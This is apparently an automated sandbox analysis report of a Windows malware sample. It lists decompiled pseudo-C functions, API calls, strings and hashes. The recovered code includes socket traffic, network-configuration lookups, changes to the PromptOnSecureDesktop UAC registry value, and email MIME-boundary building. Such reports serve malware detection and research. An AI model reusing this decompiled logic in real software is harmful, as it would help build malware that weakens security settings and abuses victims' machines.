									_v336 = _t50;
									if(_t50 == 0) {
										goto L32;
									}
									_v340 = _v340 & 0x00000000;
									_v344 = _v344 & 0x00000000;
									_t82 = _t50;
									_v352 = _t82;
									L20:
									while(1) {
										if( *((short*)(_t82 + 0x10a)) != 1 ||  *((short*)(_t82 + 0x108)) != 0xf ||  *((short*)(_t82 + 0x10c)) < 3) {
											L30:
											_t83 =  *_t82;
											_v352 = _t83;
											if(_t83 != 0) {
												_t82 = _v352;
												continue;
											}
											goto L31;
										} else {
											_t90 = HeapAlloc(GetProcessHeap(), 0, 0x108);
											if(_t90 == 0) {
												L31:
												_t50 = E00402904(_v336);
												if(_v344 != 0) {
													goto L35;
												}
												goto L32;
											}
											E0040EE2A(_t77, _t90, 0, 0x108);
											_t66 =  *( *((intOrPtr*)(_t82 + 0x110)) + _t76) & 0x0000ffff;
											_t94 = _t94 + 0xc;
											__imp__#15();
											 *(_t90 + 4) = _t66 & 0x0000ffff;
											_t33 = _t90 + 8; // 0x8
											E00402871( *((intOrPtr*)(_t82 + 0x110)) + 2, _t76, _t77, _t33, _v332);
											_t77 = _t66;
											if( *((char*)(_t90 + 8)) != 0) {
												_t71 = _v344;
												_v344 = _t90;
												if(_t71 != 0) {
													 *_t71 = _t90;
												} else {
													_v348 = _t90;
												}
											} else {
												HeapFree(GetProcessHeap(), 0, _t90);
											}
											_t82 = _v356;
											goto L30;
										}
									}
								}
								_push( *(_t76 + 2) & 0x0000ffff);
								if( *_t81() < 0) {
									goto L34;
								}
								goto L16;
							}
							L32:
							_v308 = _v308 + 1;
							if(_v308 < 2) {
								_t79 = _v292;
								_t91 = 0;
								continue;
							}
							goto L35;
						}
					}
				}
				return 0;
			}

0x00402a62
0x00402a7a
0x00402a7d
0x00402a86
0x00402a8c
0x00402a90
0x00402aa0
0x00402aa6
0x00402aa8
0x00402aae
0x00402cd8
0x00402cde
0x00000000
0x00402abd
0x00402abd
0x00402ac9
0x00402ac9
0x00402ad1
0x00402ada
0x00402ad3
0x00402ad3
0x00402ad3
0x00402adb
0x00402af4
0x00402af9
0x00402afe
0x00000000
0x00000000
0x00402b06
0x00402b0e
0x00402b14
0x00402b18
0x00402b20
0x00402b24
0x00402b28
0x00402b30
0x00000000
0x00000000
0x00402b3a
0x00402b3f
0x00402b4a
0x00402b50
0x00402b52
0x00402b58
0x00402b6a
0x00402b76
0x00402b7c
0x00402ca6
0x00402cad
0x00402cb3
0x00402cbd
0x00402cc7
0x00402ccd
0x00402ce0
0x00000000
0x00402ce0
0x00402b85
0x00402b96
0x00402b98
0x00000000
0x00000000
0x00402ba1
0x00402ba6
0x00402ba7
0x00402bad
0x00000000
0x00000000
0x00402bb3
0x00402bb8
0x00402bbd
0x00402bbf
0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,74E04F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,74E04F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

p2u, xrefs: 00402CC7

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: p2u
API String ID: 1639031587-1441537569
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 004364DE, Relevance: 33.4, APIs: 22, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 00436522
_wcscat_s.LIBCMTD ref: 0043673A

Part of subcall function 00435140: __invalid_parameter.LIBCMTD ref: 004351B2

__invoke_watson_if_error.LIBCMTD ref: 00436743

Part of subcall function 00426490: __invoke_watson.LIBCMTD ref: 004264B1

_wcscat_s.LIBCMTD ref: 00436772

Part of subcall function 00435140: _memset.LIBCMT ref: 0043521B
Part of subcall function 00435140: __invalid_parameter.LIBCMTD ref: 00435277

__invoke_watson_if_error.LIBCMTD ref: 0043677B
__snwprintf_s.LIBCMTD ref: 004367D4

Part of subcall function 0042DCD0: __vsnprintf_s_l.LIBCMTD ref: 0042DCF2

_wcscpy_s.LIBCMTD ref: 00436852
__invoke_watson_if_error.LIBCMTD ref: 0043685B
_wcscpy_s.LIBCMTD ref: 00436936
__invoke_watson_if_error.LIBCMTD ref: 0043693F
__itow_s.LIBCMTD ref: 00436519

Part of subcall function 00427CA0: _xtow_s@20.LIBCMTD ref: 00427CCB

__strftime_l.LIBCMTD ref: 004365D9
_wcscpy_s.LIBCMTD ref: 00436657
__invoke_watson_if_error.LIBCMTD ref: 00436660
_wcscpy_s.LIBCMTD ref: 004366B3
__invoke_watson_if_error.LIBCMTD ref: 004366BC
_wcscat_s.LIBCMTD ref: 004366ED
__invoke_watson_if_error.LIBCMTD ref: 004366F6

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: __invoke_watson_if_error$_wcscpy_s$_wcscat_s$__invalid_parameter$__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID:
API String ID: 4196467750-0
Opcode ID: 471aa5d8ab99c97ffb81b1b1ced6d6de25ae8405843aa4bb55824ac4fd471d15
Instruction ID: 7cafa926edfc380009c0e71554d3167b67c4221b4313e7404d49889cbc77eb4a
Opcode Fuzzy Hash: 471aa5d8ab99c97ffb81b1b1ced6d6de25ae8405843aa4bb55824ac4fd471d15
Instruction Fuzzy Hash: F102A6B0A41715ABDB20DF10DC46F9F7378AB18745F5081AEF5087A2C1D7B8AA84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

localcfg, xrefs: 004019A3
123.45.67.89, xrefs: 004019A6
~3u`y3up2u, xrefs: 004019B1
Iphlpapi.dll, xrefs: 004019B7
GetIfEntry, xrefs: 004019E4
GetBestInterface, xrefs: 004019EF
GetAdaptersInfo, xrefs: 004019DC

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~3u`y3up2u
API String ID: 835516345-1317286920
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 0043A673, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043A702
_get_int64_arg.LIBCMTD ref: 0043A72A
__aullrem.LIBCMT ref: 0043A8CF
__aulldiv.LIBCMT ref: 0043A8F1
_write_multi_char.LIBCMTD ref: 0043A9F8
_write_string.LIBCMTD ref: 0043AA13
_write_multi_char.LIBCMTD ref: 0043AA3F
_wctomb_s.LIBCMTD ref: 0043AABC

Strings

-, xrefs: 0043A998
9, xrefs: 0043A902

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: 65acaa2ad46a6e29f6662056aad14c59b08293caabf221517122537fde452095
Instruction ID: cfc38393538cdc98983369f3e098ae4d69680d3f0e63b5ca61d32ddec3276fea
Opcode Fuzzy Hash: 65acaa2ad46a6e29f6662056aad14c59b08293caabf221517122537fde452095
Instruction Fuzzy Hash: 95F14CB1D012298FDB24DF58CC89BEEB7B5BB48304F1491DAE059A7241D7389E90CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00868578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 00868643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 00868664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 00868691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 0086869A

Strings

", xrefs: 00868955
PromptOnSecureDesktop, xrefs: 0086859F, 0086862E, 008686A6, 008686F1, 008687AE, 008687FB, 008688D2, 008688EE

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: e2fb18e13be3402ebdc5b942ab7f87fa076c7457d741d2489eed793d0c8e8309
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: 85C1B0B1900249FEEB11EBA4DC85EEE7B7CFB15300F154175F608E2051EBB18E949B66

Uniqueness

Uniqueness Score: -1.00%

Function 0042A605, Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0042A69A
_get_int64_arg.LIBCMTD ref: 0042A6C2
__aullrem.LIBCMT ref: 0042A86A
__aulldiv.LIBCMT ref: 0042A88C
_write_multi_char.LIBCMTD ref: 0042A9A5
_write_multi_char.LIBCMTD ref: 0042A9EC
__mbtowc_l.LIBCMTD ref: 0042AA5B

Strings

9, xrefs: 0042A89D

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l
String ID: 9
API String ID: 374834154-2366072709
Opcode ID: 95570804de9438245c23685528a1e05c346ac007537690084b9f2e9b45147395
Instruction ID: d0da03d8708247619668a19a183ce2fb048965323c3ebf54c77b0d3bb3b9f75c
Opcode Fuzzy Hash: 95570804de9438245c23685528a1e05c346ac007537690084b9f2e9b45147395
Instruction Fuzzy Hash: 3BF16DF1E002299FDB24CF54DC81BAEB7B1BF84304F54419AE649A7241D7389E94CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00862CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00862CD6
socket.WS2_32(00000002,00000002,00000011), ref: 00862CF0
htons.WS2_32(00000000), ref: 00862D2B
select.WS2_32 ref: 00862D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 00862D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00862E4B

Strings

p2u, xrefs: 00862F17

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: p2u
API String ID: 127016686-1441537569
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: 677d84e4fd1c76ab2a1f0826da17a4c57f89c4038f1af74de64645126b13eaef
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 1661E671504709AFC7209F64DC08BABBBF8FB48355F1248A9F984D7151D7B6D8808BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0043DB73, Relevance: 25.8, APIs: 17, Instructions: 319COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043DBBB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043DBF1
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043DC12
wcsncnt.LIBCMTD ref: 0043DC49
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043DCAF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043DF00

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Locale$UpdateUpdate::~_$wcsncnt
String ID:
API String ID: 986326057-0
Opcode ID: 2f1ee335582fd167fd04a2f762905d4f9c672f87ec84e3e8e20083759c62bbce
Instruction ID: b22f10b83f8daf846c669185b83f18fa3c51a96ff2b3a6bcf9dcab66a950b16f
Opcode Fuzzy Hash: 2f1ee335582fd167fd04a2f762905d4f9c672f87ec84e3e8e20083759c62bbce
Instruction Fuzzy Hash: 14E10571E00218DFCB08DF94E895BEEBBB1FF48314F60915AE4126B295DB38AE41DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,74E5EA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
~3u`y3up2u, xrefs: 00402E93
Mt, xrefs: 00402E01
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$Mt$~3u`y3up2u
API String ID: 929413710-4203848216
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 008614D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 008615EA
lstrlenW.KERNEL32(-00000003), ref: 008617C1

Strings

D, xrefs: 00861816
, xrefs: 008616B2
@, xrefs: 008615D0
<, xrefs: 008615C8

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: fbd74a356e0996dad1f0241796bf961b5b6bc076f551079137853ed24504c038
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: B1F1CBB15083419FDB20CF64C888BAABBF5FB88304F45892DF686D72A1D7B49944CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0086764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 008676C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 00867740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 00867778
___ascii_stricmp.LIBCMT ref: 0086789D
RegCloseKey.ADVAPI32(?), ref: 00867937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00867956
RegCloseKey.ADVAPI32(?), ref: 00867967
RegCloseKey.ADVAPI32(?), ref: 00867995
RegCloseKey.ADVAPI32(?), ref: 00867A3F

Part of subcall function 0086F3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,00867713,?), ref: 0086F3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 008679DF
RegCloseKey.ADVAPI32(?), ref: 00867A36

Strings

", xrefs: 008677E9
PromptOnSecureDesktop, xrefs: 008676AE, 008676B3, 008676CE, 0086776B, 008677CF, 0086784B, 00867864, 008679AB

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: a291e81ba06ed96731f1b38e8a420f3b89c6a167dedc54254e865601b8211c27
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: 96C1B071904209AFEB119FA8DC45FEE7BB9FF45314F2240A1F504E6191EB74DE808BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0043A3D7, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 0043A3DB
__get_printf_count_output.LIBCMTD ref: 0043A3E9
__invalid_parameter.LIBCMTD ref: 0043A470
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043A485
_write_multi_char.LIBCMTD ref: 0043A9F8
_write_string.LIBCMTD ref: 0043AA13
_write_multi_char.LIBCMTD ref: 0043AA3F
_wctomb_s.LIBCMTD ref: 0043AABC

Strings

-, xrefs: 0043A998

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 8f66d72045e79dcf11961e3217726fd6633f1705980192bd20cf0ce436d909c5
Instruction ID: d30afbd710d66f5ab780926433f3e241d37b350770b9d97fc893fdcd23548c50
Opcode Fuzzy Hash: 8f66d72045e79dcf11961e3217726fd6633f1705980192bd20cf0ce436d909c5
Instruction Fuzzy Hash: 0DA1BFB0D412288BDB24DB55CC4ABEEB3B1AB48304F2091DAE1597B281D7785E90CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
